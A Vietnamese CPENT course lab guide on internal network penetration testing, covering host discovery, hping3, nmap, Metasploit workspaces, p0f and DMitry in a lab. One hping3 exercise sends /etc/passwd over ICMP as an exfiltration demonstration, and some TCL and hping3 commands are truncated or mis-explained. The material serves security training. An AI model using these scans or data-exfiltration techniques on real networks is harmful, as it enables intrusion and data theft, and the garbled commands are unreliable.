CPENT + LPT : Mô-đun 06: Phương pháp kiểm tra xâm nhập mạng – Nội bộ
Giới thiệu :
Để đủ điều kiện thi lấy chứng chỉ CPENT của ECCouncil các bạn cần tham gia các chương trình đào tạo do đối tác ATC của EC Council triển khai theo hình thức online hoặc offline. Với khóa học Online tại đây các bạn sẽ được cấp COA (Certificate of Attandance sau khi hoàn thành và nhận Exam Voucher để hoàn thành Cyber Range và tham dự kì thi thực hành trực tuyến) Khóa học CPENT Online Official tại đậy :
Mục tiêu
Mục tiêu của bài thực hành này là cung cấp kiến thức về mạng, hệ thống và sử dụng liệt kê dịch vụ và các phương pháp kiểm tra xâm nhập khác bao gồm:
- Liệt kê dịch vụ
- Kiểm tra mật khẩu
- Đánh giá lỗ hổng
- Leo thang đặc quyền
Kịch bản
Kiểm tra xâm nhập mạng nội bộ và bên ngoài được thực hiện gần như giống nhau, ngoại trừ việc trong trường hợp mạng nội bộ, kẻ tấn công sở hữu quyền truy cập được ủy quyền hoặc đã có quyền truy cập. Các cuộc tấn công từ bên trong có thể gây ra hậu quả thảm khốc hơn vì kẻ tấn công đã có kiến thức về mạng cũng như vị trí của chúng.
Với tư cách là chuyên gia kiểm tra xâm nhập hoặc quản trị viên bảo mật, bạn phải biết cách liệt kê người dùng, dịch vụ và lỗ hổng trong mạng mục tiêu, khai thác lỗ hổng để tạo quyền truy cập, trích xuất càng nhiều dữ liệu của nhân viên càng tốt.
Bài tập 1: Quét bằng Netdiscover
Kịch bản
Để bắt đầu bài thực hành này, người kiểm tra xâm nhập có thể sử dụng bất kỳ công cụ nào tùy thuộc vào sở thích cá nhân của họ. Mục tiêu của bài thực hành này là giúp sinh viên sử dụng công cụ Netdiscover. Công cụ này dễ sử dụng hơn. Bạn sẽ:
- Khởi động Netdiscover
- Khám phá các tùy chọn quét khác nhau
- Quét và xem lại dữ liệu từ Netdiscover
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Mở cửa sổ terminal và nhập netdiscover -h. Thao tác này sẽ hiển thị các lệnh netdiscover như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh netdiscover -h và đầu ra của nó)
- Công cụ này cho phép người dùng khám phá các hệ thống trực tiếp. Trong cửa sổ terminal, nhập sudo netdiscover -i eth0 -p. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor.
(Ảnh chụp màn hình hiển thị lệnh sudo netdiscover -i eth0 -p và đầu ra của nó)
- Ở chế độ thụ động, các mục tiêu được tạo ra chậm. Phải mất rất nhiều thời gian để hiển thị kết quả. Để tiết kiệm thời gian, bạn có thể tự tạo lưu lượng truy cập bằng cách thực hiện quét ping bằng nmap, điều này sẽ được trình diễn trong bước tiếp theo.
(Ảnh chụp màn hình hiển thị quá trình quét thụ động đang diễn ra)
- Trong cửa sổ terminal mới, nhập lệnh quét ping nmap để tạo lưu lượng truy cập. Để thực hiện quét ping, hãy nhập nmap -sn 192.168.0.0/24 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh nmap -sn 192.168.0.0/24 và đầu ra của nó)
- Chuyển lại cửa sổ Netdiscover để xem đầu ra.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh sudo netdiscover -i eth0 -p với các máy chủ được phát hiện)
- Đôi khi, một số máy có thể không được phát hiện do các nguyên nhân như sự hiện diện của tường lửa hoặc một số bộ lọc khác. Trong trường hợp như vậy, bạn có thể sử dụng quét TCP (Transmission Control Protocol) để xác nhận sự tồn tại của máy mới. Để thực hiện quét TCP, hãy nhập lệnh nmap -sT 192.168.0.0/24.
(Ảnh chụp màn hình hiển thị lệnh nmap -sT 192.168.0.0/24 và đầu ra của nó)
- Lưu ý rằng bạn chưa quét tất cả 65.536 cổng, điều này là tốt hơn. Tùy thuộc vào cài đặt “quét lớn” mà bạn so sánh, việc truy cập dữ liệu thu được từ máy Windows có thể rất lớn. Trong bài thực hành này, đầu ra vẫn giữ nguyên, vì không có máy mới nào được phát hiện trong quá trình quét nmap.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh sudo netdiscover -i eth0 -p với các máy chủ được phát hiện)
- Nếu quét ẩn không phải là lựa chọn tốt nhất. Để khám phá các mục tiêu, hãy sử dụng Netdiscover làm trình quét thụ động. Để quét mạng 192.168.0.0/24 hiện tại bằng Netdiscover, hãy nhập sudo netdiscover -r 192.168.0.0/24 trong cửa sổ terminal và nhấn Enter. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh sudo netdiscover -i eth0 -p với các máy chủ được phát hiện)
- Các mục tiêu sẽ được hiển thị trên màn hình sau một thời gian, như được hiển thị trong ảnh chụp màn hình. (Để tăng tốc quá trình, bạn có thể thực hiện quét ping bằng nmap).
(Ảnh chụp màn hình hiển thị đầu ra của lệnh sudo netdiscover -r 192.168.0.0/24 với các máy chủ được phát hiện)
- Phương pháp mới này xác thực các máy trực tiếp và máy mục tiêu của bạn. Điều này kết thúc bài thực hành.
Bài tập 2: Quét và viết kịch bản với hping3
Kịch bản
Để bắt đầu bài thực hành này, người kiểm tra xâm nhập có thể sử dụng bất kỳ công cụ nào tùy thuộc vào sở thích cá nhân của họ. Mục tiêu của bài thực hành này là giúp sinh viên sử dụng công cụ hping3. Bạn sẽ:
- Khởi động công cụ hping3
- Thực hiện một yêu cầu echo ICMP
- Thực hiện một kịch bản đơn giản trong môi trường lệnh hping3
- Chụp các gói tin bằng hping3
- Thực hiện quét hping3
- Xem lại dữ liệu từ bản quét
- Gửi file bằng ICMP
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong cửa sổ terminal, nhập sudo hping3 và nhấn Enter. Thao tác này sẽ hiển thị các tùy chọn của công cụ.
(Ảnh chụp màn hình hiển thị lệnh sudo hping3 và đầu ra của nó)
- Hping3 là một công cụ mạnh mẽ. Nó là một ngôn ngữ kịch bản TCL được nhúng trong một shell. Đối với lần thử đầu tiên, hãy thực hành với một vài lệnh.
- Để bắt đầu bài thực hành, hãy khởi chạy hping3 bằng cách nhập lệnh sudo hping3 trong dòng lệnh của terminal. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh sudo hping3 và đầu ra của nó)
- Lệnh đầu tiên sẽ là một yêu cầu echo Giao thức Tin nhắn Điều khiển Internet (ICMP) đơn giản đến một mục tiêu. Chọn một trong các mục tiêu có sẵn mà bạn đã khám phá và nhập lệnh sau, thay thế
bằng địa chỉ IP của máy mục tiêu mà bạn đang làm việc. Vì vậy, hãy nhập hping3 –icmp –send (ví dụ: hping3 –send 192.168.0.7) và nhấn Enter. Lệnh này sẽ gửi yêu cầu echo ICMP loại 8 mã 0 đến một mục tiêu, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh hping3 –icmp –send 192.168.0.7 và đầu ra của nó)
- Nếu yêu cầu echo ICMP không hiển thị, hãy xác minh bằng cách mở cửa sổ terminal mới. Nhập sudo tcpdump -i eth0 và nhấn Enter. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor và nhấn Enter. Thao tác này sẽ chụp lưu lượng mạng. Chạy lại lệnh và xem đầu ra của lệnh tcpdump.
(Ảnh chụp màn hình hiển thị lệnh sudo tcpdump -i eth0 và đầu ra của nó, cũng như yêu cầu echo ICMP được gửi đến mục tiêu)
- Bắt đầu truy vấn bằng cách sử dụng khả năng viết kịch bản của ngôn ngữ TCL. Cú pháp cơ bản dễ sử dụng. Trong terminal hping3, nhập lệnh TCL sau trên một dòng và nhấn Enter:
ip [for {set i $list} {$i
Lệnh này sẽ đặt thời gian chờ (TTL) thành 5 và sau đó tăng dần lên 1 khi gửi yêu cầu echo ICMP. Bạn có thể chụp bằng cách nhập sudo tcpdump -i eth0 -v -x ‘icmp’, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh TCL ip [for {set i 5} {
i}] và đầu ra của nó, cũng như đầu ra tcpdump)
- Tiếp theo, xác định khả năng hping3 để nhận các gói tin. Nhập vòng lặp đơn giản sau vào terminal hping3 để nhận các gói tin:
set p_index [hping recv eth0]
puts "[hping getifield ip $addr sp] -- [hping getifield ip $ti sp]"
và nhấn Enter.
- Lệnh được hiển thị ở trên sẽ giúp vòng lặp và nhận các gói tin cho đến khi bạn nhấn Ctrl+C. Các lệnh được hiển thị như được hiển thị ở trên để giữ cho các mã hợp lệ. Để cuộn qua màn hình, hãy mở một terminal mới như được hiển thị ở trên và ping đến một mục tiêu bằng cách nhập ping 192.168.0.7, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh ping 192.168.0.7 trong một terminal và đầu ra vòng lặp trong terminal hping3)
- Sử dụng trình soạn thảo văn bản ưa thích của bạn, nhập “You are under attack!” và lưu tệp dưới dạng attack.sig trong thư mục Home.
(Ảnh chụp màn hình hiển thị tệp attack.sig được tạo trong thư mục Home)
- Công cụ hping3 cho phép người dùng gửi tin nhắn. Theo đó, hãy gửi tin nhắn như một chuỗi. Mở một cửa sổ terminal mới, nhập sudo hping3 -2 -S 500 192.168.0.7 -d 139 -E attack.sig và nhấn Enter. Nhập toor vào trường mật khẩu và nhấn Enter. Thao tác này sẽ gửi gói tin đến cổng 139 từ cổng 500.
(Ảnh chụp màn hình hiển thị lệnh sudo hping3 -2 -S 500 192.168.0.7 -d 139 -E attack.sig và đầu ra của nó)
- Sử dụng Wireshark để xem thông tin gói tin. Trong cửa sổ terminal mới, nhập sudo wireshark và nhấn Enter. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor.
(Ảnh chụp màn hình hiển thị lệnh sudo wireshark và đầu ra của nó)
- Wireshark GUI xuất hiện, chọn giao diện eth0.
(Ảnh chụp màn hình hiển thị Wireshark GUI với giao diện eth0 được chọn)
- Cửa sổ hiển thị lưu lượng Giao thức Hiệp hội Bảo mật Internet (ISAKMP) User Datagram Protocol (UDP) cổng 500. Cửa sổ phía dưới cũng hiển thị thông báo bạn đã chỉ định trong gói tin.
(Ảnh chụp màn hình hiển thị Wireshark GUI với các gói ISAKMP được chụp, bao gồm cả thông báo “You are under attack!”)
- Tin nhắn trong gói tin cũng có thể được hiển thị bằng tcpdump. Trong cửa sổ terminal, nhập sudo tcpdump -i eth0 -nX. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor.
(Ảnh chụp màn hình hiển thị lệnh sudo tcpdump -i eth0 -nX và đầu ra của nó, hiển thị thông báo “You are under attack!” trong gói tin)
- Quét mục tiêu bằng cách sử dụng hping3. Mở cửa sổ terminal mới và nhập sudo hping3 –scan known 192.168.0.7 -S. Lệnh này hiển thị danh sách cổng/dịch vụ đang chạy trên mục tiêu.
(Ảnh chụp màn hình hiển thị lệnh sudo hping3 –scan known 192.168.0.7 -S và đầu ra của nó, hiển thị các cổng mở trên mục tiêu)
- Hping3 là một công cụ mạnh mẽ. Trong ví dụ trước, đã hiển thị tùy chọn known cho việc liệt kê cổng/dịch vụ. Tiếp theo, hãy chỉ định một phạm vi quét. Trong cửa sổ terminal, nhập sudo hping3 –scan 0-3000 192.168.0.7 -S, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh sudo hping3 –scan 0-3000 192.168.0.7 -S và đầu ra của nó, hiển thị các cổng mở trên mục tiêu)
- Cuối cùng, hãy gửi tệp bằng cách sử dụng ICMP. Mở hai cửa sổ terminal và đặt tùy chọn bên trong cửa sổ terminal đầu tiên:
sudo hping3 127.0.0.1 --listen signature --icmp --safe
- Trong cửa sổ terminal thứ hai, nhập:
sudo hping3 --icmp -d 100 --file /etc/passwd --sign signature -c 3 127.0.0.1
- Nhập toor làm mật khẩu nếu được yêu cầu.
- Tạo một gói tin ICMP được gửi bằng cách thay đổi địa chỉ IP. Điều này có thể được thực hiện qua các máy nếu cần bằng cách thay đổi địa chỉ IP. Cho mục đích của bài tập này, địa chỉ vòng lặp 127.0.0.1 sẽ được sử dụng.
- Trong cửa sổ terminal thứ hai, nhập:
sudo hping3 --icmp -d 100 --sign signature --file /etc/passwd 127.0.0.1
- Nội dung tệp bắt đầu xuất hiện trong cửa sổ terminal đầu tiên, như được hiển thị trong ảnh chụp màn hình sau.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh nghe hping3 với nội dung của /etc/passwd đang được truyền qua ICMP)
Quá trình này đã được truyền thành công. Lưu ý rằng đây có thể là bất kỳ tệp ASCII nào và quá trình này có thể được sử dụng cho một số hoạt động khác nhau. Điều này kết thúc bài thực hành.
Bài tập 3: Quét và xây dựng cơ sở dữ liệu mục tiêu
Kịch bản
Sau khi sử dụng các công cụ, cần phải tạo cơ sở dữ liệu mục tiêu để ưu tiên các mục tiêu. Đây là một bước quan trọng trong việc tạo báo cáo cuối cùng. Mục tiêu của bài thực hành này là giúp sinh viên phân tích đầu ra của một công cụ và cách công cụ đó có thể được sử dụng để tạo báo cáo. Bạn sẽ:
- Quét mục tiêu
- Xem lại phương pháp quét
- Xem lại dữ liệu từ bản quét
- Phân tích đầu ra của bản quét
- Xây dựng cơ sở dữ liệu mục tiêu ban đầu
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Khởi chạy dòng lệnh của terminal. Trong cửa sổ terminal, nhập nmap -sP và nhấn Enter. Việc xem xét lại các lệnh là rất tốt, nhưng không cần thiết ở đây.
- Nhập như sau:
Live systems: -sP
Ports: -p
Ports + Services: -sV
Enumerate: -A
- Đầu ra có thể được đưa vào định dạng XML bằng cách chỉ định -oX cho đầu ra. Việc này không cần thiết nữa, vì hầu hết các trình duyệt không còn cho phép hiển thị định dạng này nữa.
- Chuyển đổi sang XML bằng cách sử dụng công cụ xsltproc từ nmap. Nhập:
xsltproc /usr/share/nmap/nmap.xsl scan.xml
- Một ví dụ về đầu ra ở định dạng XML được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị đầu ra XML mẫu của lệnh nmap)
- Định dạng XML là một lựa chọn tốt để chuẩn bị và tạo cơ sở dữ liệu.
- Tiếp theo, hãy tạo cơ sở dữ liệu mục tiêu. Đối với điều này, cần có các thông tin sau:
Host/IP
OS
Ports
Services
Vulns
Exploit
Notes
Priority
- Bảng cơ sở dữ liệu chính được trình bày như sau:
- Host/IP: Bao gồm cả hai mục nếu có.
- OS: Bao gồm tất cả các thông tin có sẵn để sắp xếp theo hệ điều hành của mục tiêu.
- Ports: Các cổng đã quét. Nếu có thể, chỉ bao gồm các gói dịch vụ cụ thể có liên quan.
- Services: Dịch vụ đang chạy trên cổng.
- Vulns: Lỗ hổng được phát hiện (lý tưởng nhất là sử dụng phiên bản mới nhất của các công cụ quét).
- Exploit: Khai thác cụ thể nào có thể được liên kết với lỗ hổng cho các mục tiêu, nếu có.
- Notes: Bất kỳ thông tin bổ sung nào được phát hiện về mục tiêu.
- Priority: Mức độ ưu tiên được gán cho mục tiêu.
- Một ví dụ về nội dung trên được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị bảng cơ sở dữ liệu mục tiêu mẫu)
- Từ điểm này trở đi, hãy tạo cơ sở dữ liệu cho mọi cơ hội, phạm vi hoặc môi trường.
- Bài thực hành này kết thúc tại đây.
Bài tập 4: Sử dụng không gian làm việc và db_nmap
Kịch bản
Bạn sẽ:
- Thực hiện nhiệm vụ tạo không gian làm việc.
- Sử dụng db_nmap có trong Metasploit Framework.
- Lưu trữ và truy xuất kết quả quét từ công cụ.
- Nhập kết quả vào mô-đun Metasploit.
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Đăng nhập vào máy Parrot và mở một cửa sổ terminal. Thiết lập và khởi tạo máy chủ sql. Trong cửa sổ terminal, nhập sudo service postgresql start và nhấn Enter. Nhập toor làm mật khẩu nếu được yêu cầu. Lệnh này khởi chạy dịch vụ postgresql.
(Ảnh chụp màn hình hiển thị lệnh sudo service postgresql start và đầu ra của nó)
- Sau khi cơ sở dữ liệu được khởi chạy, hãy nhập sudo msfdb init và nhấn Enter. Nhập toor làm mật khẩu nếu được yêu cầu. Lệnh này khởi tạo cơ sở dữ liệu và tạo các bảng nếu cơ sở dữ liệu chưa được thiết lập.
(Ảnh chụp màn hình hiển thị lệnh sudo msfdb init và đầu ra của nó)
- Nếu cơ sở dữ liệu đã được cấu hình, một thông báo bỏ qua quá trình khởi tạo xuất hiện. Bỏ qua thông báo.
- Khi cơ sở dữ liệu đã được tạo và khởi tạo, chúng ta có thể nhanh chóng gọi Metasploit.
- Để tìm trạng thái của cơ sở dữ liệu, hãy nhập db_status trong cửa sổ terminal, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh db_status và đầu ra của nó, hiển thị rằng Metasploit được kết nối với cơ sở dữ liệu postgresql)
- Công cụ Metasploit có các không gian làm việc khác nhau. Nhập workspace -h để xem các lệnh khác nhau có sẵn cho không gian làm việc. Sau khi xem xét chúng, hãy tiếp tục.
(Ảnh chụp màn hình hiển thị lệnh workspace -h và đầu ra của nó, hiển thị các tùy chọn có sẵn)
- Tạo một không gian làm việc cho dữ liệu của bạn bằng cách nhập workspace -a LPT. Bây giờ bạn đã thiết lập không gian làm việc. Bạn đã sẵn sàng để sử dụng cơ sở dữ liệu Nmap tích hợp trong Metasploit.
(Ảnh chụp màn hình hiển thị lệnh workspace -a LPT và đầu ra của nó, hiển thị rằng không gian làm việc LPT đã được tạo)
- Tiếp theo, sử dụng công cụ để thực hiện phương pháp quét. Nhập db_nmap -sP 192.168.0.0/24, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh db_nmap -sP 192.168.0.0/24 và đầu ra của nó, hiển thị quá trình quét nmap đang diễn ra)
- Khi quá trình quét hoàn tất, chuyển sang bước tiếp theo: nhập db_nmap -sV 192.168.0.0/30.
- Khi quá trình quét hoàn tất, chuyển sang bước tiếp theo: nhập db_nmap -sS 192.168.0.0/30.
- Khi quá trình quét hoàn tất, chuyển sang bước tiếp theo: nhập db_nmap -A 192.168.0.2.
- Bây giờ bạn đã thực hiện quét. Để kiểm tra thông tin cơ sở dữ liệu, nhập services và nhấn Enter, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh services và đầu ra của nó, hiển thị các dịch vụ được phát hiện trong quá trình quét)
- Kết quả hiển thị tất cả các dịch vụ từ quá trình quét, đây là điểm bắt đầu của cơ sở dữ liệu mục tiêu và hoạt động tốt cho thử nghiệm xâm nhập.
- Tiếp theo, kiểm tra danh sách cơ sở dữ liệu của hosts, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh hosts và đầu ra của nó, hiển thị các máy chủ được phát hiện trong quá trình quét)
- Do môi trường ảo, bạn có thể không nhận được dữ liệu chính xác nhất. Cần phân tích bổ sung để làm rõ hơn về mục tiêu.
- Nhập hosts -h để xem các tùy chọn có sẵn khác nhau. Nhập lệnh hosts -c address,os,flavor để hiển thị địa chỉ IP, hệ điều hành và “flavor” bằng cách sử dụng lệnh “-c”.
- Nhập hosts -c address,os,flavor và nhấn Enter, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh hosts -c address,os,flavor và đầu ra của nó, hiển thị địa chỉ IP, hệ điều hành và “flavor” của các máy chủ được phát hiện)
- Lưu ý rằng bạn cũng có thể tìm kiếm tất cả các mục cho một mục tiêu cụ thể. Nếu bạn muốn tìm các máy dựa trên Linux từ quá trình quét, hãy sử dụng tùy chọn “-S”. Tùy chọn này có thể được kết hợp với ví dụ trước của chúng tôi để tinh chỉnh kết quả. Nhập hosts -c address,os,flavor -S Linux.
(Ảnh chụp màn hình hiển thị lệnh hosts -c address,os,flavor -S Linux và đầu ra của nó, hiển thị địa chỉ IP, hệ điều hành và “flavor” của các máy dựa trên Linux được phát hiện)
- Tiếp theo, hãy nhập kết quả của quá trình quét vào mô-đun Metasploit. Nhập use auxiliary/scanner/portscan/tcp và nhấn Enter.
- Nhập dữ liệu vào trình quét bằng cách sử dụng tùy chọn -R. Nhập hosts -c address,os,flavor -S Linux -R và nhấn Enter, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh hosts -c address,os,flavor -S Linux -R và đầu ra của nó)
- Lệnh ở trên sẽ nhập kết quả vào RHOSTS trong bảng máy chủ. Bạn có thể xem nội dung bằng cách nhập show options. Lưu ý rằng có thể có thêm máy chủ trong cơ sở dữ liệu.
(Ảnh chụp màn hình hiển thị lệnh show options cho mô-đun auxiliary/scanner/portscan/tcp và đầu ra của nó)
- Khi bạn đã sẵn sàng, hãy nhập run và nhấn Enter. Quá trình quét sẽ được thực hiện đối với các máy chủ được thêm vào cơ sở dữ liệu, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh run cho mô-đun auxiliary/scanner/portscan/tcp và đầu ra của nó)
- Có một cơ sở dữ liệu đa dạng để tìm kiếm dịch vụ. Nhập services -c name,info -S ftp và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh services -c name,info -S ftp và đầu ra của nó)
- Có nhiều tùy chọn kết hợp cho việc tìm kiếm. Bạn có thể sử dụng cổng cụ thể, phạm vi cổng hoặc một loạt các cổng cụ thể. Tuy nhiên, khi sử dụng “-S” với các tính năng này trên tất cả các máy chủ, bạn nên thử nghiệm với chúng để đạt được kết quả mong muốn.
- Như bạn đã thấy trong bài tập này, có rất nhiều tùy chọn để thực hiện quét trong cơ sở dữ liệu. Vì vậy, chúng tôi khuyến khích bạn tự mình nghiên cứu chúng.
- Bài thực hành này kết thúc tại đây.
Bài tập 5: Thực hiện quét dấu vân tay hệ điều hành thụ động để lấy thông tin hệ điều hành từ xa
Kịch bản
Quét dấu vân tay hệ điều hành chủ động liên quan đến việc gửi một gói tin đến hệ thống được chỉ định trên mạng và kiểm tra phản hồi để xác định hệ điều hành. Quét dấu vân tay hệ điều hành thụ động, ngược lại, là quá trình xác định hệ điều hành bằng cách kiểm tra thời gian tồn tại (TTL) của gói tin đầu tiên được gửi từ máy chủ trong phiên TCP, tức là gói tin SYN hoặc SYN-ACK.
Trong bài thực hành này, bạn sẽ tìm hiểu cách thực hiện quét dấu vân tay hệ điều hành thụ động bằng công cụ p0f.
Thời gian thực hành: 15 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong bài thực hành này, chúng tôi sẽ cố gắng truy xuất thông tin liên quan đến hệ điều hành từ máy đang chạy máy chủ FTP.
- Bây giờ, hãy khởi chạy một dòng lệnh trong terminal và nhập sudo p0f -i any -p -o /tmp/sniff.log và nhấn Enter. Nhập toor làm mật khẩu nếu được yêu cầu. P0f bắt đầu lắng nghe trên tất cả các giao diện của Parrot và khi nó chụp được gói tin, nó giải mã thông tin và đoán hệ điều hành.
a. Bằng cách chỉ định -i, chúng tôi đang đặt giao diện.
b. Bằng cách chỉ định -p, chúng tôi đang đặt công cụ ở chế độ lăng nhăng.
c. Bằng cách chỉ định -o, chúng tôi đang đặt công cụ để lưu trữ đầu ra (-o) trong tệp /tmp/sniff.log trong tệp sniff.log.
(Ảnh chụp màn hình hiển thị lệnh sudo p0f -i any -p -o /tmp/sniff.log và đầu ra của nó)
- Bây giờ, hãy khởi chạy một dòng lệnh khác trong terminal và nhập ftp 172.19.19.9 và nhấn Enter. Chúng tôi sẽ yêu cầu bạn nhập thông tin đăng nhập bằng tay. Khi máy khách gửi yêu cầu, Parrot Machine (máy chủ FTP) sẽ phản hồi lại truy vấn. 172.19.19.9 là địa chỉ IP của máy đang chạy máy chủ FTP.
(Ảnh chụp màn hình hiển thị lệnh ftp 172.19.19.9 và đầu ra của nó)
- Chuyển sang dòng lệnh terminal nơi p0f đang chạy và cuộn lên trên cửa sổ. Bạn sẽ thấy rằng p0f đã phân tích tất cả các yêu cầu và phản hồi và hiển thị thông tin hệ điều hành như os: Windows 7 signature and mtu: 1500. Trong bài thực hành này, Hệ điều hành được xác định là Windows 7. Cuộn xuống cửa sổ để xem thông tin tiêu đề của từng gói tin được giải mã bởi công cụ p0f.
(Ảnh chụp màn hình hiển thị đầu ra của công cụ p0f với thông tin hệ điều hành đã được xác định)
Do đó, bạn đã tìm hiểu cách thực hiện quét dấu vân tay hệ điều hành thụ động bằng công cụ p0f.
Bài tập 6: Quét dấu vân tay hệ điều hành bằng Nmap
Kịch bản
Người kiểm tra xâm nhập phải quét dấu vân tay hệ điều hành. Lựa chọn công cụ quét dấu vân tay hệ điều hành phổ biến nhất trên thị trường là Nmap. Mục tiêu của bài thực hành này là giúp sinh viên sử dụng khả năng quét dấu vân tay hệ điều hành của Nmap. Bạn sẽ:
- Quét dấu vân tay hệ điều hành.
- So sánh các tùy chọn quét khác nhau.
- Phân tích đầu ra công cụ.
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Có một tùy chọn cụ thể để thử liệt kê hệ điều hành bằng Nmap: tùy chọn -O (O viết hoa, không phải số không).
- Khi tạo cơ sở dữ liệu mục tiêu, hãy sử dụng tùy chọn -o để lưu trữ thông tin.
- Bắt đầu chụp trong Wireshark.
- Trong cửa sổ terminal, nhập sudo nmap -O 192.168.0.X, thay thế ‘X’ bằng địa chỉ IP mục tiêu, như được hiển thị trong ảnh chụp màn hình. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh sudo nmap -O 192.168.0.X và đầu ra của nó)
- Cẩn thận xem xét lại Nmap và truyền dữ liệu yêu cầu vào cơ sở dữ liệu mục tiêu của bạn.
- Như yêu cầu, hãy quét lại và nhập địa chỉ IP yêu cầu cho các máy khác vào cơ sở dữ liệu mục tiêu của bạn.
- Lưu ý rằng Nmap có thể khá ồn ào và sử dụng quá nhiều gói tin để phát hiện hệ điều hành. Việc sử dụng Nmap ở chế độ ẩn không phải là cách tốt nhất.
- Cần phải sử dụng nhiều công cụ để phát hiện hệ điều hành và xác minh thông tin mà công cụ phát hiện.
- Khi bạn hoàn toàn hiểu được quá trình này, với tư cách là chuyên gia bảo mật chuyên nghiệp, bạn có thể tiếp tục xem lại và đánh giá thông tin mà công cụ phát hiện.
- Bài thực hành này kết thúc tại đây.
Bài tập 7: Quét bằng DMitry
Kịch bản
Để bắt đầu bài thực hành này, người kiểm tra xâm nhập có thể sử dụng bất kỳ công cụ nào tùy thuộc vào sở thích cá nhân của họ. Mục tiêu của bài thực hành này là giúp sinh viên sử dụng công cụ DMitry. Các hoạt động sau được bao gồm trong bài thực hành này:
- Khởi chạy công cụ DMitry.
- Thiết lập và xem xét môi trường mạng.
- Quét và xem lại dữ liệu từ công cụ DMitry.
Thời gian thực hành: 5 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Lấy danh sách các mục tiêu bằng cách sử dụng phương pháp quét sau:
a. Hệ thống trực tiếp
b. Cổng
c. Dịch vụ
d. Liệt kê
e. Xác định lỗ hổng
f. Khai thác - Nhập sudo nmap -sn 192.168.0.0/24. Nhập toor nếu bạn được yêu cầu nhập mật khẩu. Một ví dụ về đầu ra một phần từ lệnh được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh sudo nmap -sn 192.168.0.0/24 và đầu ra của nó)
- Quá trình quét tiết lộ thông tin có liên quan về mục tiêu và ghi lại thông tin về mục tiêu.
- Mở cửa sổ terminal và nhập dmitry -pf 192.168.0.22, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh dmitry -pf 192.168.0.22 và đầu ra của nó)
- Công cụ DMitry, một trình quét cổng, cung cấp tất cả thông tin về cổng.
- Trong cửa sổ terminal, nhập dmitry -pb 192.168.0.22, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh dmitry -pb 192.168.0.22 và đầu ra của nó)
